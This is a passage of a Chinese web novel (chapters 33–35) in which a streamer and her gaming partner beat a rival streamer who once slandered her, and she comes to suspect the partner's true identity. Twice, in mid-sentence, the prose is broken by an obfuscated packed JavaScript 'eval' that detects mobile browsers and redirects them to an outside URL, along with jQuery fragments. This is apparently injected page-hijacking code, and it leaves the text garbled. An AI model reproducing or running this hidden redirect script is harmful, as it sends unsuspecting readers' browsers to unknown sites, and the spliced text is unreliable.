“主播狂啊。” “小鬼姐加油!男神哥加油!” “话说那么满,等会儿打脸不好收场哦。” “硬杠南来,有勇气啊主播!” “不说了,我要两个直播间双开看乐子!” “下注下注啦!” 人物选择完毕。 倒计时完毕。 进入对局。 游戏开始。 33. 清算 木吉网咖一楼大厅D区角落,人最少的一排,关时拆了一根棒棒糖塞进嘴里,搜索了小月幽幽的直播间,眼皮微微耷拉着,浅淡的视线从眼底流出,盯着直播间里的女主播。 小月幽幽化了全妆,一副可爱打扮,笑着跟弹幕聊天,声音软得发腻:“对啊对啊,这一把就是晋级赛哦!没事儿,我有南来哥,没有什么普通玩家是南来的对手的。南来哥,要加油哦!” 直播间传来连麦的一道男声,惜字如金地给了一个字:“嗯。” 小月幽幽撅嘴:“我可是给你说加油诶,你就嗯一声啊?” “会的,好好打。” “切。” 关时把直播间的声音调小——听这个主播说话有点儿甜得牙疼。 小月幽幽选择的辅助是著名软辅腓腓,开局就跟在南来的突进人物镜女身边在野区逛,有一搭没一搭地给他刷增益和护盾,同时跟弹幕聊天。关时一心三用,一边盯着直播间看他俩的刷野进度,一边操作九尾狐清理兵线,一边注意程舒晚的位置。 她刷完了野,来到中路草丛埋伏支援,但是对面的中路似乎嗅到了什么危险,并没有露头。 就在这时,南来和小月幽幽从草丛顶上的野区路过。 是机会。 关时手指搭在技能键上,全神贯注,就等程舒晚发号施令,他立刻就能冲上前去。 ——寂静。 南来和小月幽幽安然穿行而过,消失在视野之外。 程舒晚没有动手。 “经济和等级不够,对面中路大概率在附近,打起来是劣势。”程舒晚轻声说道,“不急。” 她很沉得住气。 关时在组队频道打字。 -二更天:听你号令。 说罢,他扫了眼小月幽幽的直播间,面无表情——时隔四年,他仍然记得这个做可爱打扮,内里恶劣的女主播。 四年前,关时在准备专插本考试期间目睹了阿早的“人品风波塌房事件”,心神不宁了半个月,一小时点进三次游播社看事件发酵程度,看到很多乱七八糟的东西,包括小月幽幽在直播间的“曝光”。 他点进直播间的时候,小月幽幽正装模作样推脱弹幕的提问,最后不情不愿地开口:“是呀,我认识阿早呀,长得很漂亮的,她直播不露脸,不然你们怎么可能关注我呢,哈哈。” “对她的事情怎么看?哎呀……我不好评价啦,都认识的,别让我难做呀。” “好吧,既然你们想听,那我只说一点哦。她不但骗男友的钱,还吊着追求她的职业选手……哎呀是谁你们就别乱猜啦,这个我真的不能说!” “学历造假?没有,她真是海大的,但至于怎么进的海大我就不知道了。别歪曲我的意思哦,我没说她不是考进去的,我只说我不知道。” 那场直播,小月幽幽满嘴都是礼义廉,关时却看到她的无耻。 阴阳怪气,装模作样。 饶是他都肝火上涌,更不要说被造谣的程舒晚本人对小月幽幽有什么样的仇。 正想着,屏幕上光芒一闪,程舒晚的千机鸟冲了出去。 关时猛然抬眼跟上,技能都打出去了,才看清是什么样的局面。 小月幽幽正在转线支援,距离南来有十来个身位,两秒之内南来肯定救不上,程舒晚才选择在这个时机出手。 千机鸟华丽的突进技能带着寒凉的剑光刷地扎在腓腓身上,带走一截血量的同时挂上了标记,还不等腓腓做出什么反应,九尾狐的控制技能到了,狐火一闪沉默技能,紧接着千机鸟的大招连闪,把腓腓刮剩一层血皮。 “啊!”小月幽幽这才反应过来,连忙闪现往南来的方向跑,“南来!南来快点救我!” 南来不愧是前职业选手,在程舒晚出现的一瞬间已经朝小月幽幽闪现而来,小月幽幽开口求救的同时已经到达支援位置,将技能交到程舒晚身上。 但程舒晚停也没停,目光盯在小月幽幽身上。 因为她知道自己身后,还有一个人。 她的搭子。 她的后背。 关时按下大招,正正好放在程舒晚身前,笼罩了南来。九尾狐的大招带着硬控和持续伤害,南来不敢硬抗,只能暂时往后撤退,就这么电光火石的功夫,程舒晚技能杀到。 “【千机鸟】击败【腓腓】” “我靠!”与此同时,小月幽幽在直播间惊诧出声,声音都忘了夹,“这个千机鸟有病吗,追着我一个辅助杀?” 弹幕都是“摸摸头”的安抚。 小月幽幽在弹幕的安慰下拧眉半晌调整心情,压下不服气和憋屈,心平气和对南来笑了笑:“没事儿,是我大意了。” 南来没有说安慰的话,平静说道:“你没探草。” 这个死直男一句好话都没有,小月幽幽忍不住炸了:“我知道!我都说我大意了!不用你数落我!” 南来没再吱声,他一打二肯定打不过程舒晚和关时,所以已经撤退,沉默地继续回头清野。 关时也回到中路清兵对抗,耳机里程舒晚道:“技能放得漂亮,二天。” -二更天:做好支援是每个搭子都会做的事情。 程舒晚分析接下来的状况:“下路有优势,可以从这里突破,但是要注意南来的位置,他不好对付。” -二更天:你尽管上,其他的交给我。 程舒晚表达了自己的信任:“好。” 关时一边发育一边关注程舒晚的战局,还要抽空去看其他人的位置、在直播间看对面几个人的位置,两只眼睛恨不得掰成八瓣儿来用,勉勉强强才能跟上节奏。 草,开天眼原来这么忙的。 手忙脚乱之际,头顶突然传来一个声音:“你说的晚上没空就是来打游戏啊,哥。” 关时快速抬眸瞥了一眼,妹妹关星玥正站在桌边咬着棒棒糖戏谑看他——一看就是那个熟客给的,肯定还给她指了他坐在这儿。 “来得正好。”关时没时间问关星玥来网咖干什么,把手机扔给她,“帮我报主播还有那个镜女的位置。” “啊?”关星玥没料到打个招呼还被派发了任务,迷茫地拿着手机,在关时的屏幕和直播间的画面对比了几眼,明白过来,“哥啊,这是作弊诶。” 关时笑了声:“你哥我本来就不是什么好人。” 关星玥小声地哦了一句,好半晌道:“你很久没说过这种话了诶。这局比赛对你来说很重要?” 关时回眸看她一眼,没什么表情。 “我是说,挺好的。”关星玥嘻嘻地笑了,“呐……主播去下路支援了。” 关时:“嗯,好。” 关时在对局内发了个信号点出小月幽幽支援的位置,程舒晚意会,调转方向摸到下路埋伏到小月幽幽,这次南来不在,程舒晚越塔又杀了她一次。 “【千机鸟】击败【腓腓】” 关时跟着程舒晚一起反野,他拖住南来,程舒晚杀了小月幽幽第三次。 “【千机鸟】击败【腓腓】” 中路小团战,南来先发制人,程舒晚状态不佳不敌,死前还是强行带走了小月幽幽,第四次。 “【千机鸟】击败【腓腓】” “啊呀!”小月幽幽在直播间叫起来,关星玥吓得差点给手机扔出去,“这个千机鸟干什么啊,我招惹他了呀!南来!你怎么不保我!” 南来:“保了啊,没保住。” “哎呀,指望你!”小月幽幽气得不行,点开了全局频道,噼里啪啦打字。 -小月幽幽:追着我一个辅助杀,有什么世仇啊? -小鬼叉烧:没。 -小鬼叉烧:顺手的事。 -小月幽幽:哥哥,越塔杀我是顺手吗? -二更天:不是吗?急了? -小月幽幽:哎呀两位哥哥,我是娱乐主播,给我个面子别杀了,下把一起打好不好?直播间都在笑我啦。 -小鬼叉烧:笑你不好吗?娱乐主播不搞笑就没有价值了。 -二更天:菜就菜,还说得挺那么回事,确实有搞笑天分。 耳机里,程舒晚发出一声没憋住的轻笑。 “太捧场了,二天。”她对关时说道。 应该的。关时想。 “他们好欺负人啊!”和程舒晚这边的轻松不同,小月幽幽的直播间里,她一摔鼠标,皱眉撇嘴地对观众发嗲,“哎呀哥哥们,给我评理呀!南来!揍他们!尤其那个千机鸟!我最讨厌千机鸟了!” 这一通撒娇给屏幕外的关星玥听得一哆嗦,龇牙咧嘴地搓起手臂:“哥,我把声儿关了行不?这姐姐功力太深厚了,我怕我吐。” 关时笑:“你不是自称小绿茶?也自愧不如了?” “是啊是啊,跟这个姐姐一比,我还是太纯天然了。”关星玥感慨,随后指着关时屏幕上的千机鸟,“这个是程姐姐吗?” 关时:“嗯,对。” “击杀6,死亡1,助攻4,她好厉害啊。”关星玥笑嘻嘻道,“能被程姐姐带,你真是烧高香咯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364906|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关时被她提醒,抬起头来,“别告诉她我是二更天。” 关星玥:“嗯?为什么?” “包你三个月奶茶。” “不是奶茶的事儿。”关星玥把头凑过来,长睫毛扑闪,满眼都是兴奋,“我要听八卦!啊,难道你找回这个账号就是为了跟程姐姐一起打游戏?你们以前就一起打游戏?” 关时刚打了波小团战,脑子要分裂了,还听妹妹叽叽喳喳跟个小鹦鹉似的,咬牙切齿地叹气,“关星玥,你要是敢多说话,下个月你去演唱会的差旅费别想找我报销。” “错了哥。”关星玥光速道歉,“我不问了。” 关时继续操作对局。 关星玥又开口:“那我要四个月奶茶。” 关时:“跟我蹬鼻子上脸是吧。” 关星玥:“因为我不是好人的妹妹。” 关时:“……行,只要你闭嘴。” 过了一会。 关星玥:“你是不是暗恋程姐姐?” 关时炸毛:“你没完了?” 关星玥连忙摊手顺毛:“好啦好啦我不说了……诶,程姐姐打起来了了。” 关时知道妹妹是在转移话题,但还是回头看屏幕,程舒晚果然跟南来在野区里对上了。 要去支援。 关时这么想着,突然在小地图上看到对面的其他对手也正往二人打架的地方而去,他当机立断调换前进方向,用技能把对方两个支援的人拦了下来,阻止他们打扰那边的战局。 他对程舒晚说过了,尽管上。 剩下的路,他去清理。 说道就要做到。 程舒晚和南来打得有来有回,闪转腾挪细节拉满,相碰十来秒居然都还没分出胜负,小月幽幽还在直播间喊:“加油啊南来哥!收掉他!” 关时没空去打字给程舒晚说什么,只专心致志地与面前的敌人厮杀。 但哪怕他没在忙,也不用给程舒晚加油。 他相信他的搭子。 程舒晚的注意力全都在南来的镜女身上,他还有三分之一的血量,而她只有两格,再中一个技能就得死。 拉开身位。 等待技能CD。 反打。 程舒晚聚精会神,正要反击时,南来却突然停住了。 随后他转身。 回去刷野了。 嗯? 程舒晚愣了一下,但是没继续追击,她的状态不健康,贸然再进不是好的选择。 说白了,只要南来不妨碍她杀小月幽幽,她跟他之间其实没有什么实质性的恩怨。 于是她也调头,投身进关时维持的战局中去。 只有小月幽幽怨气很大。 “南来!”她对南来临阵脱逃的行为相当气愤,“为什么不出全力!你老队友吗!叙旧吗!” “……没有。”南来苍白地解释,“状态不好,掉点就麻烦了。” “你一个技能就能收掉他了!” “……” 那边团队内出分歧,程舒晚却手感火热,发育、游走、带节奏,而且南来不知道什么原因,刻意回避与她的对战,这倒是给了她机会,十来分钟之后推到了基地。 在这十几分钟期间,程舒晚还十分“顺手”地杀了小月幽幽五次,只要她露视野就杀,真的兑现承诺让小月幽幽不敢出塔,只能瞎转悠,在直播间不顾甜妹形象地抓狂骂人。 “我要摇人狙击他!”她咬牙切齿,却阻止不了自家基地炸掉的结果。 “封神!” “赢了!” “哇,小鬼姐和男神哥真的赢了!赢了前职业!” “赢了大主播!” “我去看了小月幽幽的直播间,现场太搞笑了哈哈哈哈!” “小鬼姐太强了,能跟南来打得五五开!” 程舒晚揉着手腕,虽然看着容易,但这局游戏强度真的很高,她得歇一会,“打得好,二天。” -二更天:辛苦了。 她笑了笑,还没多说什么,游戏里突然收到一条好友申请。 是南来。 “南来的好友申请诶。” “是认可小鬼姐的技术吧,小鬼姐,牛!” 弹幕都在夸夸,但程舒晚却一言不发地点叉关掉好友申请,但紧接着放在桌上的手机振动了一下。 屏幕上一条新的微信消息,备注是—— 南来。 “我认得你千机鸟的风格。是你吧?阿早?” 34. 搭子 程舒晚这时候才想起她和南来是有微信好友的。 但被道出身份,还是让她有点意外。 程舒晚还是阿早的那两年并不是一个人孤独打游戏,而是有一群志同道合的圈内朋友,尽管退网之后大部分都不联系了,但在当时大家一起排位、吹水、切磋,相处很和谐。 当时刚退役没多久的南来,也是其中之一。 印象里,程舒晚和他没有太近的接触,属于会被彼此的朋友叫上组局,但是从来不会私下聊天的那种关系。这么多年过去,南来还能凭借一把游戏就认出她,或许是一起打过游戏的敏锐,又或是来自前职业选手的直觉,又或是别的什么……程舒晚虽然惊讶,但不太所谓。 因为当初的造谣风波,南来知道真相。 程舒晚理解在任何圈子里都不能全靠情谊,更多的是生意,小月幽幽身为接近百万粉丝的博主,流量带来的经济效益是让人无法拒绝的。但不论如何,当南来选择站在小月幽幽那边,程舒晚就没有跟他多说一句话的必要。 游戏传来消息提示音,程舒晚把手机息屏,抬头望去。 -二更天:嘿,叉烧。 -二更天:管管直播间,快八卦炸了。 “来了。”程舒晚看了眼弹幕,这一看不要紧,三百人的直播间聊出了千人的气势,消息狂刷不止。 “赢了!故事呢!” “主播别不说话!我知道你在家!” “快讲讲跟男神哥怎么认识的认识多久了,我不相信七年不上线还能有这样的默契,刚刚那几波配合我鸡皮疙瘩都起来了。” “男神哥太懂小鬼姐要干什么了,有时候不用说话,他都能配合上!” 果然八卦才是第一生产力。 程舒晚拿起水杯喝了一口,慢悠悠地清清嗓子,“我们怎么认识的,不如让男神哥给你们讲讲。” -二更天:? -二更天:还有我的事? 程舒晚:“从我的角度来讲当初你加我好友的故事,对你的男神包袱不利。” -二更天:哦,那我来讲。 -二更天:朋友们,是这么个事儿。 -二更天:当初是我死乞白赖臭不要脸加的你们主播好友,她喊我滚,我没舍得滚。 程舒晚:“……” 弹幕:“?” “???” “等下,我迷茫了,谁追谁?” “二天,我给你机会的。”程舒晚试图给二更天挽回一点面子,“自述的时候不用搞得这么像自首。” -二更天:事实呗,有什么不好承认的。 -二更天:还是说,那时候你就已经被我迷倒了? 程舒晚:“你还是自首吧。” 弹幕在猜测二更天死乞白赖的原因:“看来小鬼姐以前人美声甜呐?” -二更天:不是因为你们主播可爱,她一点都不可爱。 -二更天:是因为她杀了我一整局,技术贼牛。 弹幕:“……?男神哥你是不是有点M在身上?” “真的不是因为主播声音一听就是美女吗?” -二更天:庸俗,你们男神哥是这种人吗? 得,已经以“男神哥”这个称呼自居了。程舒晚无语地笑了下。 不过二更天没说错,他确实不是因为她是女孩才来加好友,甚至他一开始根本就没发现,一起搭了三个月才知道她是姑娘。 说来这件事,程舒晚倒是有几分印象。 她以前没有开麦的习惯,打字交流时为了操作也尽量用词简洁,操作利落,看起来就像个不说话的冷面杀手,以至于二更天一直把她当成小兄弟。 程舒晚懒得拆穿解释,只是觉得挺有意思的。 二更天是个话痨,打游戏开麦是基操,懒散又恣意的独属于少年人的嗓音在耳机里喋喋不休。一个语音,一个打字,两人就靠这种交流一起玩儿了三个月——跟现在直播倒是相反过来的。 这种情况改变,是在程舒晚高二第一学期的期中考试之后。 程舒晚除了每周两个晚上溜去网吧玩《封神图录》,其他时间都在学习上死磕,这次期中考也正常发挥,只是英语成绩略有下滑,掉出全班前五,总成绩仍然是理科年级第十七。 考试出分那天正好是她的生日。 理科年级第十七名,她觉得这算是给自己一个还过得去的生日礼物,但母亲蒋慧玲和父亲程国鑫显然不是这么想。 因为谭婧是文科年级第一。 从晚上到家到晚饭结束,程舒晚被数落了整整一个小时,她不会埋怨好朋友谭婧为什么考那么好,只是觉得有点茫然。她自认为自己做的足够好了,就算没有达到父母的预期,那也不可能是他们嘴里说的那么不堪。 她知道他们从来不饶人,尤其蒋慧玲那嘴跟淬了毒似的,她早该习惯,但依然不可避免地泛起委屈的情绪。 程舒晚攥紧裤缝边,在数落的间隙鼓起勇气开口:“爸,妈,今天……” 今天是我的生日。 至少在今天,就别骂我了。 “今天晚上去自习室,跟谭婧好好请教英语怎么学,不要总是犯什么低级错误。”蒋慧玲冷着脸打断她的话,“反思才能进步,要对得起我们的付出。” 程舒晚哑然地盯着蒋慧玲半晌。 她记得自己似乎,最后只说了声“知道了”。 尽管她根本不知道要做到什么地步才能算“对得起”。 那天晚上程舒晚扎进网吧和二更天双排,对局内沉默寡言,消息信号都不发,只一个劲找人打架。二更天本来一如既往扯家常,到后面也发现端倪,叽里呱啦的声音也渐渐平息下去。 “诶,叉烧。”他喊了声。 -小鬼叉烧:有事说。 二更天:“心情不好?” -小鬼叉烧:少管。 “呐,就是心情不好了。哪能不管呢,”二更天道,“我有几个朋友五排缺二,这把打完一块儿吧,人多热闹,痛快些。” -小鬼叉烧:不用。 “就当路人局就好,不想说话就不说。主要是他们聒噪,气氛起来就不悲伤了。”二更天顿了顿,语气轻松又欠揍,“你看你情绪影响到运营了,净找人打架,不管野区不管兵线的,别妨碍我上分。” -小鬼叉烧:……滚。 尽管她都说到这个份上了,二更天还是听不懂人话一样,在对局结束之后执意发来了一个组队邀请。 唉。 彼时的程舒晚还是个发脾气都要掂量一下的小姑娘,犹豫两秒还是给了二更天这个搭子一个面子,点击了确定。 “芜湖!”刚刚进入队伍中,队友就发出了欢呼,“来了来了,欢迎哦!” 程舒晚把耳机音量调小了,这个咋咋呼呼的队友有点儿吓人。 “新朋友,”二更天介绍,“多担待。” “当然当然,他喵的早就该介绍认识了!”咋咋呼呼的队友一口一个“他喵的”,“诶,朋友,二更说了好多次你游戏水平好,今天终于他喵的愿意拉你过来一起玩儿了!” 其他两个队友也附和几声,程舒晚哪见过这种阵仗,受宠若惊地发了个“嗯”,没敢多说什么。 更多的是无奈,二更天谦虚了,这些队友哪里只是聒噪,这多吓人啊。 他喵队友:“都朋友,开声儿交流呗。” “行了,不开也不影响。”二更天抢话,“等会儿我指挥就行。” 《封神图录》中五排队伍只会匹配到同样五排的队伍,所以不管哪个段位都有很多五排车队,非常考验团队运营和配合,因此一般来说都需要有个人指挥。二更天选择了辅助人物方便照看全局,程舒晚依然选择了突进。 开局十分钟,她有点儿后悔了。 因为这把运气不怎么样,对面是一支默契很高的队伍,但他们这边除了她和二更天,其他三个人的水平都有点儿……菜得离谱。 这不怪他们,这游戏上线不过五个月,新玩家源源不断,他们的操作看起来显然是刚玩儿没多久。只是程舒晚是个看重胜利和上分的竞技人,实在开心不起来,碍于二更天的面子什么都没说。 至少二更天操作在线。 他喵队友玩的是进攻位,击杀挂零蛋,却已经死了四次了,挠着脑袋给自己开脱:“好强啊对面,二更,是不是指挥不过来了?” 二更天正在中路支援,“你站位别那么靠前啊,我哪能三路全跟……中路不见了,你往后退,赶紧的。” 他喵队友还有侥幸心理:“知道了知道了,我清完这波就……卧槽!” 他话音未落就转变成了惊叫,程舒晚把视角拉过去,就见对面中、射、辅三个人从视野之外包围过去,直冲队友的进攻人物而去。 二更天当即转线:“退后,撑住等我。” “撑不住啊!”他喵队友哀嚎,眼见就要被串成小萝卜干了,程舒晚忍不住叹了口气。 “往野区跑。”她开麦说道,“我来。” 说罢,她已经加速完成绕后的操作,只身一人冲进战局,凌厉的连招戳到对面的进攻位射手身上,打得对方措手不及。 聊天频道从她开口那一刻起就陷入了沉默,他喵队友顶着半血,在野区茫然地踱步两下才回过味来,发出疑问:“啊?” “啊什么啊,”程舒晚没什么耐心,夹枪带棒地呛道,“吃血包回来打架,一边平A一边撤退放风筝会不会?别愣着了我打不了三个人。” “哦,哦。”他喵队友如梦方醒,这才回头重新加入战局。正好二更天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364907|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转线支援也到位了,三人合力一块反打,程舒晚的单兵作战能力在这种时候就显露出优势来了,打得对面抱头鼠窜,最终撤退。 开局这么久,终于打了波像样的团战了。程舒晚长舒一口气,心情终于轻松了些,不在此久留,野区刷新时间到了, “多看小地图防包抄,这么菜,二天一个人指挥不过来。” “不是,兄弟,你……”他喵队友改口,“你是妹妹啊!” 程舒晚:“不行?” “行,太行了。”他喵队友立刻换了语气,笑嘻嘻的,“二更,你怎么不提前说啊!” 二更天自己都不知道……程舒晚腹诽,但想来有点意思,不知道二更天会做什么回答,好像就没见过这家伙震惊的样子。 “哦。”二更天隔了好一会儿才说话,语气稀松平常的,“我没说吗?那就是忘了。” 程舒晚一听就知道这家伙在强装,果然下一秒,好友私人聊天就收到了二更天的消息。 -二更天:藏挺深啊,叉烧。 程舒晚没忍住勾起嘴角,胸膛被小女生的狡黠和小得意的心思占满,但落到聊天,依然保持着高深莫测的高手形象。 -小鬼叉烧:你没问过。 -二更天:耍着我玩是不是挺有意思? -二更天:你现在肯定在笑吧。 程舒晚条件反射地把嘴角压下,猜测他是不是生气了。 -小鬼叉烧:抱歉。 -二更天:啊?不用道歉,开个玩笑而已,本来就是我自己先入为主。 -小鬼叉烧:哦。那我确实在笑。 -二更天:…… 耳机里响起一声二更天的嗤笑,很无奈的模样。 -二更天:那就好。 -二更天:你心情没那么糟糕就行。 程舒晚微顿。 二更天,居然还把她心情不好这件事放在心上记到现在,要不是他提,她都要翻过这一篇了。 -二更天:唉,不过现在我有点后悔拉你过来了。 -小鬼叉烧:? -二更天:有一种自家的好搭子被其他人发现的感觉。你可别因为他们说话好听什么的,就把我给抛弃了啊。 -小鬼叉烧:…… 仿佛印证他的话一般,他喵队友开口:“叉烧妹妹,一会儿加好友吗?我比二更天还闲,以后一起打游戏!” 二更天绷着嗓音凉凉道:“有你什么事儿啊大新?” 他喵队友啧了声,“又没喊你。” 二更天还想说什么,程舒晚打断了他们的话:“过来帮我打龙。” “……” 这边在抢着抱大腿,结果妹子在盯着游戏。 要么说是大佬呢。 两个人默默转向野区,帮程舒晚一起打野区buff来。 程·胜利至上·舒晚看了眼他喵队友的ID,“大新兄弟,不好意思。” 他喵队友:“啊?” “我没有很多时间,还要上学。”她道,“输不起游戏。” 他喵队友:“……” 二更天没忍住笑了起来,声音都轻松许多,“人家要搭子,不是扶贫,省省吧大新。” 他在放玩笑的同时,私人聊天里也朝程舒晚发来消息。 -二更天:够意思,叉烧。 -二更天:放心吧,我不会让你觉得自己选错搭子。 程舒晚捻了捻手指,只觉得胸腔里有什么东西开始发烫,一下一下,鼓噪得有点吵闹。 从小到大,她做什么都很努力,无数次做出选择,拼尽全力,自问是问心无愧,但回头却只能看见父母冷漠的脸。 他们总是说,这是你应该做的。 你别想就这么轻易得到认可,得到奖励,你做的远远不够。 “不是你的错,晚晚。”兄长这么跟她说。 “你会遇见的,能够坚定回应你的人。” 程舒恒啊,抱歉,我一直以为你只是唬我。 我好像,真的遇见了。 二更天的声音夹杂着与昔日一般的散漫笑意:“还得练,大新。” “你他喵的狗!”他喵队友还在骂骂咧咧,“谁问你了!带妹狗!” 程舒晚放眼全局:“下路兵线刷新了。” “听见没,喊你回去清兵了,大新。” “滚呐!” 大新。 大新? 等一下,这个名字似乎有点熟悉。 程舒晚从回忆当中抽离出来,盯着直播间的弹幕愣神,几秒钟之后猛然握住鼠标,找到了最近的对战记录,往回一通猛找。 她翻到了跟关时和苏新胜一起打游戏那天的对战记录,点开详情,目光直指苏新胜的游戏ID。 大新恰个霹雳瓜。 35. 喜欢 直播间里程舒晚突然翻回前段时间的对局记录,鼠标在苏新胜的ID上停留,关时见状感到了不妙。 她对苏新胜的ID有印象?他以前拉过他们一起打游戏吗?有吗? 好像确实拉过一两次,是跟苏新胜?舒晚不会还记得吧?这都多少年了? 失策……关时抓起手机,手速极快地拨苏新胜的电话。 自家老哥跟抽风一样一会儿一出戏不知道在忙什么,关星玥有点好笑,“哥,你不会跟程姐姐打游戏的时候都这么搞笑吧?” 关时懒得找小妮子的麻烦,电话接通之后开门见山:“苏狗,记得我说的,不论舒晚问什么,都别告诉她任何二更天相关的事,别承认你认识二更天。” “……你脑子有病?”苏新胜刚接电话就被劈头盖脸泼了这么一通,一头雾水,“又发什么疯,老子喝酒呢,谁想理你他喵的那点遮遮掩掩的破事。” “你记得就行。”关时说完就挂了电话。 “神经啊这,一天天的。”苏新胜坐在酒吧的吧台边上,嘀嘀咕咕地把手机按掉,“刘啊,给我拿瓶……我草?” 关时的电话才挂断,前后脚程舒晚就真的发了消息过来,内容也跟关时一样毫无拐弯抹角:“你是不是认识二更天?” 苏新胜:“……” 草,关时那条狗。 苏新胜扯扯衣领咳嗽两声,点开语音:“啊?什么?你直播的那个好友?我怎么可能认识,认识就不用求你带我打游戏啦。哦,没有说你不好的意思,就是……” 他叽里咕噜发了几十秒的语音,程舒晚倒是没耐心听,五秒之后就做了回复:“哦,行。就随便问问。” 看上去不追究的样子,也是,她现在直播呢。他奶奶的吓死了。苏新胜松了口气,回头越想越气,也给关时发了条语音:“狗东西我得宰你一顿大的。” 程舒晚放下手机,跟直播间请五分钟的假,去洗手间洗把脸冷静情绪,站在镜子前发呆。 在察觉到苏新胜跟七八年前那个有一局游戏缘分的他喵队友似乎是同个人的瞬间,她没有把持住,脑子一抽就问出口,现在才回过味来这么做并不合适,已经是打草惊蛇了。 但不是完全没有收获,至少苏新胜没讲实话,肯定有所隐瞒。 苏新胜的欲盖弥彰,关时对二更天的过分在意,以及前段时间三排,和关时莫名其妙的默契配合……所有曾经感到奇怪的小事延绵交织,最终指向一个结果。 关时,就是二更天。 即便早就有所怀疑,但此时此刻这个结果让程舒晚心跳失重,脑子里翻箱倒柜一地狼藉,暂时失去了思考能力。 她原地做了两个深呼吸,强迫自己冷静下来。 ——没有证据,也无从考证。 是的,这个结果只是她的直觉和推论,但还缺乏关键证据,而且关时和苏新胜都不会承认的,她必须要找个机会亲自验证。 至于现在,还是先当做无事发生,做完直播工作吧。 程舒晚平复好情绪走出洗手间回到15号包厢,看到屏幕上组队房间里的二更天,静默半晌,没忍住轻轻啧了一声。 一想到自己先前因为同时对关时和二更天动心而自我怀疑就感到可笑。 如果关时真的就是二更天,他等着死吧。 之后的对局没有什么问题,程舒晚把自己伪装得很好,没有在二更天面前露出什么马脚。明天就是清明节,她提前一个小时,十一点就下播,收拾东西下楼,收到了关时的消息。 “楼下等我一会儿,处理点事情。” 呵呵。程舒晚把手机收回兜里。 今天值班的是小贾,隔着老远就冲程舒晚点头打招呼,身边站着道靓丽的身影,也笑嘻嘻地挥手:“程姐姐!” 是关星玥。程舒晚弯了弯眼睛,总觉得一看见这小姑娘心情就很好,大概是被小姑娘满身干净的活泼感染,人都轻快不少,“晚上好。你也在?” “过来找朋友玩儿。”关星玥道,“店里有台电脑出了问题,我哥弄好就过来,不会太久的。” 听到关星玥提起关时,程舒晚不由盯住她,有点审视的意味。关星玥心虚避开视线,从兜里摸出根棒棒糖,“客人给的,程姐姐直播辛苦啦。” 程舒晚接过棒棒糖,“谢谢。你哥刚刚一直在工作?” 关星玥:“……对。” 程舒晚点头,什么也没问,靠在前台边上把糖纸拆了,盯着大门外的夜色沉默。 她素面朝天,五官生得清冷漂亮,但眼底有休息不足的青黑,一身宽松的衣裤包裹着细瘦的四肢和躯干,看起来没几两肉,只有单薄的硬骨头。 关星玥感觉程姐姐被这么多人瞒着有点可怜,但她已经答应过关时帮他瞒着,犹豫再三只能旁敲侧击:“我刚刚看你直播啦程姐姐,你跟男神哥有什么故事呀?” 程舒晚顿了顿,目光落回到她脸上,“我和二更天?” “昂。” 程舒晚像是听到笑话一般突然笑了声,“问你哥。” 关星玥:“……” 得到完全意料之外的回答,关星玥差点就漏了马脚,但演戏已经演了个开头,只能硬着头皮演下去:“我哥?他知道?” 程舒晚咬碎了棒棒糖,漫不经心:“他不该知道?” 关星玥满头大汗:“啊……这样啊……” “是不是有话要说?”程舒晚扭头盯着她,脸上带着谜一样的微笑,仿佛什么都知道。 关星玥身上那点表演欲望碰到她的视线立刻逃跑得无影无踪,连忙把戏精从身上扒下来,摆手摆出残影:“没有,什么都没有。” 程舒晚意味深长:“哦……” 至此,关星玥闭上嘴不再说话——她错了,居然有程舒晚很可怜的念头,现在应该感到可怜的是她自己! 对不起,哥,我就帮你到这儿了。 关时从一楼的包间出来,一眼就瞧见程舒晚和妹妹之间的微妙氛围,不由得挑眉:“嗯?” 程舒晚直起身来:“没。走吧。” “好。刚刚有顾客电脑黑屏了,我去换了张显卡,耽误了。”关时简单解释了下,回头看关星玥,“走啦?” “诶。”关星玥讪讪跟上。 平日两人一并回的路,今天三人并行,关星玥快几步走在前面,关时和程舒晚并肩落后几步,稍有沉默。 “今天直播遇到其他主播了?”关时率先打破寂静,“你把小月幽幽挫了一顿,厉害。” 程舒晚:“你也看了?” 关时敏锐地捕捉到那个“也”字,看了眼前面的关星玥。关星玥正好回头,飞快地比个在嘴唇上拉拉链的动作,表示自己什么都没说。 “你每场直播我都看。”关时笑着回答,“再怎么说我也是投资人。” “嗯。”程舒晚停顿一会儿,主动坦白,“我和小月幽幽有点私人恩怨。” 关时:“我知道。” 程舒晚扭头望他片刻,想起来,“哦,你以前看过我直播。” 关时:“严格来说我是你粉丝。” 程舒晚嗤笑一声偏开目光。 换做平时她也就认下了这句恭维,但一想到关时可能就是二更天,这句话就显得有点好笑了。 关时:“需要帮忙吗?” “嗯?什么?” “小月幽幽啊。”关时轻声道,眉间有一丝不易察觉的暗色,“顺着网线找人这种活计,我也……” “你给我打住。”程舒晚伸手掐住他的腮帮子阻止他接下来的话,“遵,纪,守,法,关老板。” 关时:“……” 他目光逐渐戏谑,程舒晚意识到自己不小心又过了界,唰地抽回手,“……法治社会,你自己说的。” 关时笑:“嗯,我说的。” 程舒晚不吭声往前走,过了一会没忍住,悄悄地又瞥了关时一眼。 关时开朗,热诚,可靠,甚至有些奉献过头。 二更天则少些稳重,多几分少年人的恣意,但同样很仗义。 何不像是年轻几岁的关时? 而且他们都爱笑。 游戏都玩得很好,虽然比她差些。 